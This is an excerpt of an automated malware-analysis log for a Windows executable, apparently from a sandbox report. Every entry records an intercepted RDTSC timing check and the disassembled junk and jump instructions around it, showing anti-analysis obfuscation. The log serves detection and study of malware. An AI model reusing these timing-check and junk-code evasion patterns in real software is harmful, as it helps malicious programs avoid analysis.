Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B62B19 second address: B62B2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33751C23DEh 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B7676B second address: B76789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F33751B277Eh 0x00000010 push eax 0x00000011 pop eax 0x00000012 jl 00007F33751B2776h 0x00000018 pushad 0x00000019 push esi 0x0000001a pop esi 0x0000001b push esi 0x0000001c pop esi 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B76789 second address: B7678F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B7678F second address: B76793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B76793 second address: B76797 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B76797 second address: B767A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B761FC second address: B76200 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B76352 second address: B7635A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B7635A second address: B76360 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B76360 second address: B76364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B7FE4A second address: B7FE54 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F33751C23D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B7FE54 second address: B7FE59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B86CFE second address: B86D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F33751C23D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B86D0F second address: B86D13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B86D13 second address: B86D2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23E6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B88C9A second address: B88CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B88CA0 second address: B88CA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B88B07 second address: B88B18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007F33751B2776h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B88B18 second address: B88B48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23E9h 0x00000007 jmp 00007F33751C23E0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B88B48 second address: B88B4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B9110D second address: B91113 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B91113 second address: B91117 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B91117 second address: B91128 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jnl 00007F33751C23D6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B91128 second address: B91138 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F33751B2776h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B91138 second address: B91158 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B91158 second address: B9115C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B9115C second address: B91170 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jl 00007F33751C23D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F33751C23D6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B91170 second address: B91174 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B8F9E4 second address: B8F9E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B8F9E8 second address: B8FA01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F33751B277Bh 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B8FCF8 second address: B8FD04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F33751C23D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B8FD04 second address: B8FD08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B8FD08 second address: B8FD0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B8FD0C second address: B8FD1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F33751B2776h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B8FD1F second address: B8FD25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B8FEC7 second address: B8FED7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F33751B277Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B8FED7 second address: B8FEE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F33751C23E2h 0x0000000a jo 00007F33751C23D6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B9001D second address: B9003F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B277Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F33751B2781h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B9003F second address: B90043 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B90043 second address: B90049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B902FC second address: B90302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B90302 second address: B90314 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B277Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B9477D second address: B94781 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B94781 second address: B94787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: BA21AD second address: BA21B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: BA7C6F second address: BA7C75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: BC8947 second address: BC8957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F33751C23D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: BC8AA0 second address: BC8AA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: BC8C26 second address: BC8C44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007F33751C23D6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: BC8C44 second address: BC8C4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: BCC3FF second address: BCC403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: BCC4BE second address: BCC4FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F33751B2776h 0x00000009 jmp 00007F33751B2782h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 mov dx, ax 0x00000015 mov dword ptr [ebp+122D3448h], edx 0x0000001b push 00000004h 0x0000001d mov dx, ax 0x00000020 mov dword ptr [ebp+122D2984h], eax 0x00000026 push 756B82B9h 0x0000002b pushad 0x0000002c pushad 0x0000002d pushad 0x0000002e popad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: BCC4FC second address: BCC509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007F33751C23D6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: BCC509 second address: BCC50D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: BCF6B1 second address: BCF6B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: BCF6B5 second address: BCF6CD instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F33751B2776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F33751B2782h 0x00000010 jo 00007F33751B2776h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: BCF6CD second address: BCF6DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 ja 00007F33751C23D6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: BCF6DB second address: BCF6DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: BCF2C7 second address: BCF2E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F33751C23DDh 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: BCF2E0 second address: BCF2E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: BCF2E4 second address: BCF2F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F33751C23D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: BCF2F6 second address: BCF2FB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AEF16D second address: AEF173 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50B091E second address: 50B094B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B2789h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F33751B277Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50B094B second address: 50B0988 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F33751C23E1h 0x0000000f xchg eax, ecx 0x00000010 jmp 00007F33751C23DEh 0x00000015 xchg eax, esi 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50B0988 second address: 50B09A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B2789h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50B09A5 second address: 50B0A9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 pushfd 0x00000006 jmp 00007F33751C23E3h 0x0000000b adc si, A91Eh 0x00000010 jmp 00007F33751C23E9h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a pushad 0x0000001b mov ebx, 0CFC1132h 0x00000020 call 00007F33751C23E3h 0x00000025 pushfd 0x00000026 jmp 00007F33751C23E8h 0x0000002b sub esi, 4894F178h 0x00000031 jmp 00007F33751C23DBh 0x00000036 popfd 0x00000037 pop eax 0x00000038 popad 0x00000039 xchg eax, esi 0x0000003a pushad 0x0000003b jmp 00007F33751C23E5h 0x00000040 mov esi, 5CEFA797h 0x00000045 popad 0x00000046 lea eax, dword ptr [ebp-04h] 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c pushfd 0x0000004d jmp 00007F33751C23DFh 0x00000052 or ah, FFFFFF9Eh 0x00000055 jmp 00007F33751C23E9h 0x0000005a popfd 0x0000005b pushfd 0x0000005c jmp 00007F33751C23E0h 0x00000061 sbb eax, 1E37D098h 0x00000067 jmp 00007F33751C23DBh 0x0000006c popfd 0x0000006d popad 0x0000006e rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50B0A9B second address: 50B0B60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F33751B277Fh 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007F33751B2789h 0x0000000f adc cx, 18E6h 0x00000014 jmp 00007F33751B2781h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d nop 0x0000001e jmp 00007F33751B277Eh 0x00000023 push eax 0x00000024 jmp 00007F33751B277Bh 0x00000029 nop 0x0000002a jmp 00007F33751B2786h 0x0000002f push dword ptr [ebp+08h] 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007F33751B277Dh 0x0000003b sbb ax, BA56h 0x00000040 jmp 00007F33751B2781h 0x00000045 popfd 0x00000046 pushfd 0x00000047 jmp 00007F33751B2780h 0x0000004c add ah, 00000078h 0x0000004f jmp 00007F33751B277Bh 0x00000054 popfd 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50B0B92 second address: 50B0BA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33751C23DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50B0BA2 second address: 50B0BD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp-04h], 00000000h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007F33751B2788h 0x00000014 pop ecx 0x00000015 mov edi, 0ED65FD6h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50B0BD0 second address: 50B0BD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A002C second address: 50A0078 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F33751B277Fh 0x00000009 or eax, 0D40426Eh 0x0000000f jmp 00007F33751B2789h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F33751B2783h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A0078 second address: 50A009C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A009C second address: 50A00A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A00A0 second address: 50A00A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A00A6 second address: 50A014D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B2782h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F33751B277Ch 0x00000013 sub ecx, 6FC635D8h 0x00000019 jmp 00007F33751B277Bh 0x0000001e popfd 0x0000001f mov di, ax 0x00000022 popad 0x00000023 pushfd 0x00000024 jmp 00007F33751B2784h 0x00000029 jmp 00007F33751B2785h 0x0000002e popfd 0x0000002f popad 0x00000030 sub esp, 2Ch 0x00000033 jmp 00007F33751B277Eh 0x00000038 xchg eax, ebx 0x00000039 jmp 00007F33751B2780h 0x0000003e push eax 0x0000003f jmp 00007F33751B277Bh 0x00000044 xchg eax, ebx 0x00000045 pushad 0x00000046 mov bx, si 0x00000049 movzx eax, dx 0x0000004c popad 0x0000004d push esp 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A014D second address: 50A0151 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A0151 second address: 50A0157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A01AA second address: 50A01C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edi, edi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A01C9 second address: 50A01CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A01CE second address: 50A01E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A01E8 second address: 50A01EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A01EC second address: 50A01F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A045F second address: 50A04BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F33751B2781h 0x00000008 pushfd 0x00000009 jmp 00007F33751B2780h 0x0000000e add ecx, 7C5BBE08h 0x00000014 jmp 00007F33751B277Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, esi 0x0000001e pushad 0x0000001f movzx ecx, di 0x00000022 mov bh, 30h 0x00000024 popad 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F33751B2786h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: 50A04BA second address: 50A051E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov al, C7h 0x0000000d mov ecx, edx 0x0000000f popad 0x00000010 push ecx 0x00000011 jmp 00007F33751C23E8h 0x00000016 mov dword ptr [esp], eax 0x00000019 jmp 00007F33751C23E0h 0x0000001e xchg eax, ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov cx, di 0x00000025 call 00007F33751C23E9h 0x0000002a pop eax 0x0000002b popad 0x0000002c rdtsc
